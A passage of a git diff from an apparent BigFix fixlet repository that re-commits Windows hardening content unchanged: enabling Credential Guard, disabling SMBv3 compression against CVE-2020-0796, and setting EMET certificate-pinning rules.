-<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2 /* Secure Boot is Available */</Relevance>
-    <Relevance>(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) /* Virtualization Based Security is Configured */</Relevance>
-    <Relevance>(value &quot;EnableVirtualizationBasedSecurity&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer = 1) and (value &quot;RequirePlatformSecurityFeatures&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer != 0)</Relevance>
-    <Relevance>(value &quot;LsaCfgFlags&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA&quot; of native registry as integer != 1) | true</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000001
-
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Credential Guard - Enable with UEFI Lock - Windows
+  ID       : 20653
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Credential Guard - Enable with UEFI Lock - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables Credential Guard on Windows devices that support it. </P>
+<P>Credential Guard requires the following:</P>
+<OL>
+<LI>Physical PC (Virtual Machines are not Supported)
+<LI>Windows 10 Enterprise
+<LI>x64 Architecture
+<LI>UEFI 2.3.1
+<LI>Secure Boot
+<LI>Intel VT-x or AMD-V
+<LI>Second Level Address Translation (SLAT) Support</LI></OL>
+<P>The following features are recommended for Credential Guard:</P>
+<OL>
+<LI>IOMMU
+<LI>TPM 1.2 or 2.0</LI></OL>
+<P>Before you can enable Credential Guard you must activate Virtualization Based Security using Secure Boot or Secure Boot and DMA. To do this please use:</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot - Windows</P>
+<P>Fixlet: Config - Virtualization Based Security - Using Secure Boot and DMA&nbsp;- Windows</P></BLOCKQUOTE>
+<P>You also must enable Hyper-V and Isolated User Mode. To do this please use:</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Fixlet: Config - Isolated User Mode - Enable - Windows</P>
+<P>Fixlet: Config - Hyper-V Platform - Enable - Windows</P></BLOCKQUOTE>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2 /* Secure Boot is Available */</Relevance>
+    <Relevance>(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) /* Virtualization Based Security is Configured */</Relevance>
+    <Relevance>(value &quot;EnableVirtualizationBasedSecurity&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer = 1) and (value &quot;RequirePlatformSecurityFeatures&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard&quot; of native registry as integer != 0)</Relevance>
+    <Relevance>(value &quot;LsaCfgFlags&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA&quot; of native registry as integer != 1) | true</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;LsaCfgFlags&quot;=dword:00000001
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes
index ee6bb1f88..993a1fe8d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Disable SMBv3 Compression - Windows (26668).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Disable SMBv3 Compression - Windows
-  ID       : 26668
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2020-03-12T10:51:30
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Disable SMBv3 Compression - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet detects if SMBv3 is vulnerable to CVE-2020-0796</P>
-<P>It takes into account the following items:</P>
-<OL>
-<LI>Vulnerable Windows OS Versions
-<LI>SMBv3 Enablement
-<LI>SMBv3 Compression Status</LI></OL>
-<P>Actioning this Fixlet against a vulnerable device will disable SMBv3 Compression. </P>
-<P>NOTE: This will only protect a SMBv3 Server and will not protect a SMBv3 Client. This remediation prevents the "Wormable" part of CVE-2020-0796.</P>
-<P>This remediation is made available with no warranty expressed or otherwise and should be tested before being applied to any production or otherwise important systems.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists it whose (it = &quot;1903&quot; or it = &quot;1909&quot;) of preceding text of last &quot;)&quot; of following text of first &quot;(&quot; of (operating system as string)</Relevance>
-    <Relevance>not exists values &quot;DisableCompression&quot; whose (it = 1) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
-    <Relevance>not exists values &quot;SMB2&quot; whose (it = 0) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2020-03-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 12 Mar 2020 17:38:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;DisableCompression&quot;=dword:00000001</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Disable SMBv3 Compression - Windows
+  ID       : 26668
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2020-03-12T10:51:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Disable SMBv3 Compression - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects if SMBv3 is vulnerable to CVE-2020-0796</P>
+<P>It takes into account the following items:</P>
+<OL>
+<LI>Vulnerable Windows OS Versions
+<LI>SMBv3 Enablement
+<LI>SMBv3 Compression Status</LI></OL>
+<P>Actioning this Fixlet against a vulnerable device will disable SMBv3 Compression. </P>
+<P>NOTE: This will only protect a SMBv3 Server and will not protect a SMBv3 Client. This remediation prevents the "Wormable" part of CVE-2020-0796.</P>
+<P>This remediation is made available with no warranty expressed or otherwise and should be tested before being applied to any production or otherwise important systems.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists it whose (it = &quot;1903&quot; or it = &quot;1909&quot;) of preceding text of last &quot;)&quot; of following text of first &quot;(&quot; of (operating system as string)</Relevance>
+    <Relevance>not exists values &quot;DisableCompression&quot; whose (it = 1) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
+    <Relevance>not exists values &quot;SMB2&quot; whose (it = 0) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2020-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 12 Mar 2020 17:38:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;DisableCompression&quot;=dword:00000001</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes
index dba801fea..d2870cd57 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows (20801).bes	
@@ -1,410 +1,410 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows
-  ID       : 20801
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-06-07T06:30:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Default Cert Pinning Mitigations - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default Certificate Pinning Mitigations within EMET. Specifically it configures certificate pinning for the following sites:</P>
-<P>login.live.com<BR>login.microsoftonline.com<BR>login.skype.com<BR>login.yahoo.com<BR>secure.skype.com<BR>twitter.com<BR>facebook.com</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>(set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Rules&quot; of native registry) != set of (&quot;FacebookCA&quot;;&quot;MicrosoftAccountCA&quot;;&quot;TwitterCA&quot;;&quot;YahooCA&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<EMET Version="5.5.5871.31890">
-  <Pinning>
-    <PinRules>
-      <PinRule>
-        <ID>{{d9766177-1512-4c48-84e5-e95e44663eed}</ID>
-        <Name>TwitterCA</Name>
-        <ReferencedCertificates>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>023456</SerialNumber>
-            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
-            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
-            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
-            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
-            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
-            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 379A197B418545350CA60369F33C2EAF474F2079</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>379A197B418545350CA60369F33C2EAF474F2079</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
-            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
-            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
-            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
-            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
-            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
-            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
-            <SerialNumber>083BE056904246B1A1756AC95991C74A</SerialNumber>
-            <PublicKeyHash>03DE503556D14CBB66F0A3E21B1BC397B23DD155</PublicKeyHash>
-            <Thumbprint>A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
-            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
-            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
-            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
-            <SerialNumber>0CE7E0E517D846FE8FE560FC1BF03039</SerialNumber>
-            <PublicKeyHash>45EBA2AFF492CB82312D518BA7A7219DF36DC80F</PublicKeyHash>
-            <Thumbprint>0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43</Thumbprint>
-          </UniqueCertificateIdentifier>
-        </ReferencedCertificates>
-        <Expiration>09/01/2017 00:00:00</Expiration>
-      </PinRule>
-      <PinRule>
-        <ID>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</ID>
-        <Name>MicrosoftAccountCA</Name>
-        <ReferencedCertificates>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE</Issuer>
-            <SerialNumber>020000B9</SerialNumber>
-            <PublicKeyHash>E59D5930824758CCACFA085436867B3AB5044DF0</PublicKeyHash>
-            <Thumbprint>D4DE20D05E66FC53FE1A50882C78DB2852CAE474</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
-            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
-            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE</Issuer>
-            <SerialNumber>040000000001154B5AC394</SerialNumber>
-            <PublicKeyHash>607B661A450D97CA89502F7D04CD34A8FFFCFD4B</PublicKeyHash>
-            <Thumbprint>B1BC968BD4F49D622AA89A81F2150152A41D829C</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
-            <SerialNumber>01A5</SerialNumber>
-            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
-            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 912198EEF23DCAC40939312FEE97DD560BAE49B1</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>912198EEF23DCAC40939312FEE97DD560BAE49B1</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</Thumbprint>
-          </UniqueCertificateIdentifier>
-        </ReferencedCertificates>
-        <Expiration>09/01/2017 00:00:00</Expiration>
-      </PinRule>
-      <PinRule>
-        <ID>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</ID>
-        <Name>FacebookCA</Name>
-        <ReferencedCertificates>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
-            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
-            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
-            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>OU=Equifax Secure Certificate Authority, O=Equifax, C=US</Issuer>
-            <SerialNumber>35DEF4CF</SerialNumber>
-            <PublicKeyHash>0F348320A1DA3FD1CB84DC48CBA4D5E19E66841E</PublicKeyHash>
-            <Thumbprint>D23209AD23D314232174E40D7F9D62139786633A</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 7E784A101C8265CC2DE1F16D47B440CAD90A1945</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>7E784A101C8265CC2DE1F16D47B440CAD90A1945</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>023456</SerialNumber>
-            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
-            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
-            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
-            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
-            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
-            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
-            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=thawte Primary Root CA, OU="(c) 2006 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
-            <SerialNumber>344ED55720D5EDEC49F42FCE37DB2B6D</SerialNumber>
-            <PublicKeyHash>7B5B45CFAFCECB7AFD31921A6AB6F346EB574850</PublicKeyHash>
-            <Thumbprint>91C6D6EE3E8AC86384E548C299295C756C817B81</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
-            <SerialNumber>600197B746A7EAB4B49AD64B2FF790FB</SerialNumber>
-            <PublicKeyHash>AD6CAA94609CEDE4FFFA3E0A742B6303F7B659BF</PublicKeyHash>
-            <Thumbprint>F18B538D1BE903B6A6F056435B171589CAF36BF2</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>Certificate not in current root store</Issuer>
-            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
-            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
-            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
-            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
-            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
-          </UniqueCertificateIdentifier>
-          <UniqueCertificateIdentifier>
-            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
-            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
-            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
-            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
-          </UniqueCertificateIdentifier>
